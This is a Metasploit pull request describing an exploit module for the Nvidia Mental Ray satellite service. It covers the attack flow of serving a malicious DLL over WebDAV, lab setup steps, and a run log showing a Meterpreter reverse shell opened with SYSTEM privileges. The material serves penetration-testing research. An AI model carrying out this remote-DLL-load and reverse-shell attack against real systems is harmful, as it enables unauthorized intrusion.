rapid7/metasploit-framework — pull request #2753 by Meatballs1 (2013-12-10 22:59:38+00:00)
Title: Nvidia Mental Ray Service Exploit

This isn't ready for a proper review yet, lots of refactoring required for WebDAV mixin. But having it in a pull request means I can review and add my own comments whilst I'm away from my dev environment :)

This module servers a DLL over WebDAV. It also has to listen on a second socket to catch a connection from the Satellite which is initiated after we send the HELLO packet.

After we have sent the HELLO, and have received the client connection, we can send the command to load the DLL. This will cause the service to try and connect to SMB share, and will timeout after ~10seconds. It will then try a WebDAV connection which should succeed in downloading and running the DLL.

To generate the network traffic:

Install Autodesk Maya: http://www.autodesk.com/products/autodesk-maya/free-trial
Configure as per: http://seithcg.com/wordpress/?page_id=64
Install satellite service: http://images.autodesk.com/adsk/files/Maya_mrsat3.11.1_Win_64bit.exe

Use the following command to generate some networked rendering:
```"c:\Program Files\Autodesk\Maya2014\bin\Render.exe" -r mr -s 101 -e 532 -b 1 -v 5 -rnm false -x 1024 -y 435 -rp true -of tif "C:\Program Files\Autodesk\Maya2014\presets\toon\examples\CalligraphicLine.ma"```

## Example run
```
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.22:4444
[*] Please wait for exploit to complete as we have to wait for SMB timeouts before WebDAV is used.
[*] Using URL: http://192.168.1.22:80/
[*] Server started.
[*] 192.168.1.4 nvidia_mental_ray - 192.168.1.4 nvidia_mental_ray - PROPFIND /vwcllJnD/NhmPvXZn.dll
[*] 192.168.1.4 nvidia_mental_ray - 192.168.1.4 nvidia_mental_ray - PROPFIND => 207 File (/vwcllJnD/NhmPvXZn.dll)
[*] 192.168.1.4 nvidia_mental_ray - 192.168.1.4 nvidia_mental_ray - PROPFIND /vwcllJnD/NhmPvXZn.dll
[*] 192.168.1.4 nvidia_mental_ray - 192.168.1.4 nvidia_mental_ray - PROPFIND => 207 File (/vwcllJnD/NhmPvXZn.dll)
[*] 192.168.1.4 nvidia_mental_ray - GET => Payload
[*] 192.168.1.4 nvidia_mental_ray - 192.168.1.4 nvidia_mental_ray - PROPFIND /vwcllJnD
[*] 192.168.1.4 nvidia_mental_ray - 192.168.1.4 nvidia_mental_ray - PROPFIND => 301 (/vwcllJnD)
[*] 192.168.1.4 nvidia_mental_ray - 192.168.1.4 nvidia_mental_ray - PROPFIND /vwcllJnD/
[*] 192.168.1.4 nvidia_mental_ray - 192.168.1.4 nvidia_mental_ray - PROPFIND => 207 Directory (/vwcllJnD/)
[*] 192.168.1.4 nvidia_mental_ray - 192.168.1.4 nvidia_mental_ray - PROPFIND => 207 Top-Level Directory
[*] 192.168.1.4 nvidia_mental_ray - 192.168.1.4 nvidia_mental_ray - PROPFIND /vwcllJnD/NhmPvXZn.dll
[*] 192.168.1.4 nvidia_mental_ray - 192.168.1.4 nvidia_mental_ray - PROPFIND => 207 File (/vwcllJnD/NhmPvXZn.dll)
[*] Sending stage (971264 bytes) to 192.168.1.4
[*] Meterpreter session 6 opened (192.168.1.22:4444 -> 192.168.1.4:4202) at 2013-12-10 22:55:42 +0000

msf exploit(nvidia_mental_ray) > sessions -i 6
[*] Starting interaction with 6...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```